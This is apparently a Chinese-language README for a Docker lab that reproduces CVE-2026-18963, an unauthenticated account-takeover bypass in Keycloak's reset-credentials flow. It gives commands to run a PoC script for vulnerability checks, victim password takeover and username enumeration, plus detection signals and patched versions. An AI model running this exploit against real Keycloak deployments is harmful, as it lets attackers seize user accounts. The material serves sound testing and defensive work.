
Keycloak reset-credentials 绕过 → 未认证账户接管 CVSS 9.1 | 受影响版本:Keycloak 26.0.0 – 26.7.1
本实验环境根据
snizi/cve-2026-18963-exploit的原始 README 重建。
CVE-2026-18963/
├── cve_2026_18963_poc.py <- PoC 脚本(Python 3.9+,仅使用标准库)
├── README.md
├── docker-compose.yml <- 实验环境
└── realm-poc.json <- Keycloak realm 配置(自动导入)
docker compose up -d
或者直接运行 Keycloak,不导入 realm:
docker run -p 127.0.0.1:8080:8080 \
-e KC_BOOTSTRAP_ADMIN_USERNAME=admin \
-e KC_BOOTSTRAP_ADMIN_PASSWORD=admin \
quay.io/keycloak/keycloak:26.7.1 start-dev
等待约 30–60 秒,让 Keycloak 完成启动。
| 服务 | URL | 版本 | 状态 |
|---|---|---|---|
| kc-vuln | http://localhost:8080 | 26.7.1 | 存在漏洞 ⚠️ |
| Mailpit | http://localhost:8025 | latest | 捕获邮件 |
admin / adminvictim / OriginalPassw0rd!poc | 客户端:poc-apppoc realm 或 victim 用户,请手动导入:
管理 Realm → 创建 Realm → 上传 realm-poc.json。python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--safe-check
在 kc-vuln 上的预期结果:
[!] VULNERABLE — email gate execution served
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim --check
副作用:会向受害者发送一封重置邮件(可在 http://localhost:8025 查看), 并且
emailVerified会被设置为true。
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--victim victim \
--new-password 'PoCPassw0rd!1'
之后,可通过访问 http://localhost:8080/realms/poc/account
并使用 victim / PoCPassw0rd!1 登录来验证。
printf 'victim\nadmin\nnobody\n' > userlist.txt
python3 cve_2026_18963_poc.py \
--base http://localhost:8080 --realm poc \
--client-id poc-app \
--redirect-uri http://localhost:9999/callback \
--enum userlist.txt
realm 仅在首次启动时导入,因此最简单的重置方式是重新创建环境:
docker compose down -v && docker compose up -d
或者,在管理控制台(http://localhost:8080/admin)中手动重置密码:
用户 → victim → 凭据 → 重置密码 → OriginalPassw0rd!。
docker compose down -v
| 信号 | 合法行为 | 利用行为 |
|---|---|---|
GET /login-actions/action-token?... | ✅ 是 | ❌ 否 |
POST .../reset-credentials 且请求体包含 tryAnotherWay=yes | ❌ 否 | ✅ 是 |
SEND_RESET_PASSWORD → UPDATE_PASSWORD 且使用相同的 code_id,间隔 < 2 秒 | 罕见 | ✅ 总是 |
emailVerified 翻转为 true 但无 VERIFY_EMAIL 事件 | ❌ | ✅ 总是 |
在 Mailpit(http://localhost:8025)中,密码重置邮件会到达受害者的邮箱, 但利用成功时,邮件中的链接从未被点击。
| 发布线 | 受影响版本 | 修复版本 |
|---|---|---|
| ≤ 17 (WildFly) | 否 | — |
| 26.0 – 26.3 | 26.0.0 – 26.x.x | 无(必须升级到 26.7.2) |
| 26.4 | 26.4.0 – 26.4.14 | 26.4.15(厂商向后移植) |
| 26.5 | 26.5.0 – 26.5.7 | 无 |
| 26.6 | 26.6.0 – 26.6.5 | 26.6.6(厂商向后移植) |
| 26.7 | 26.7.0 – 26.7.1 | 26.7.2 ✅ |
26.0 之前的版本不受影响:粘性
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED备注以及重置流程中的“尝试其他方式”选择器屏幕是在 26.0.0 中引入的。 旧版本只是缺少易受攻击的代码路径——这与已打补丁不同。